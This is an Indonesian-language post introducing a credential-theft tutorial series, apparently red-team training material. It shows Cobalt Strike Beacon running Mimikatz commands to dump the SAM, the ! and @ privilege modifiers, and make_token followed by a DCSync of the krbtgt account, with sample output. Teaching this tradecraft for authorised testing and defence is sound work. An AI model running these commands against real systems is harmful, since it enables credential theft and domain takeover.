Post

[Credential Theft] 01 - Introduction

Setelah melakukan privilege escalation pada komputer korban, kita dapat melakukan pencarian kredensial pengguna lain yang ada pada komputer tersebut.

Kredensial ini dapat berupa plain text (username dan password), hash (NTLM, AES, DCC, NetNTLM, dll), dan tiket kerberos.

Pemanfaatan kredensial ini dapat digunakan untuk User Impersonation.

0x1 - Beacon + Mimikatz

Cobalt Strike memiliki versi bawaan Mimikatz yang dapat kita gunakan untuk mengekstrak berbagai jenis kredensial.

Mimikatz pada Beacon tidak dapat menjalankan dua perintah yang berhubungan, seperti:

1
2
beacon> mimikatz token::elevate
beacon> mimikatz lsadump::sam

Pada Cobalt Strike 4.8, kita bisa menjalankan beberapa perintah Mimikatz dalam satu baris.

1
beacon> mimikatz token::elevate; lsadump::sam #  Setiap perintah dipisahkan oleh ';'

Beacon juga memiliki konvensi perintahnya sendiri dengan menggunakan simbol ! dan @ sebagai “modifiers”.

Simbol ! berarti meningkatkan Beacon ke SYSTEM sebelum menjalankan perintah yang diberikan. Ini berguna dalam kasus-kasus di mana kita berjalan dalam high-integrity tetapi perlu meng-impersonate SYSTEM.

Dalam banyak kasus, ! adalah pengganti langsung untuk token::elevate. Sebagai contoh:

1
beacon> mimikatz !lsadump::sam # Tidak perlu menjalankan 'token::elevate'

Simbol @ akan meng-impersonate token Beacon sebelum menjalankan perintah. Ini akan berguna jika Mimikatz perlu berinteraksi dengan remote system, seperti DCSync.

Ini juga kompatibel dengan impersonation primitives lainnya seperti make_token dan steal_token. Sebagai contoh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
beacon> getuid # Menampilkan informasi user saat ini
[*] You are DEV\myanto

beacon> make_token DEV\namina S3CURIty # Membuat token menggunakan kredensial
[+] Impersonated DEV\namina (netonly)

beacon> mimikatz @lsadump::dcsync /user:DEV\krbtgt # DCSync dengan meng-impersonate akun DEV\namina
[DC] 'dev.example.io' will be the domain
[DC] 'dc-2.dev.example.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

0x2 - Table of Contents

  1. NTLM Hashes
  2. Kerberos Encryption Keys
  3. Security Account Manager
  4. Domain Cache Credentials
  5. Extracting Kerberos Tickets
  6. DCSync Attack
  7. Password Cracking Tips & Tricks
This post is licensed under CC BY 4.0 by the author.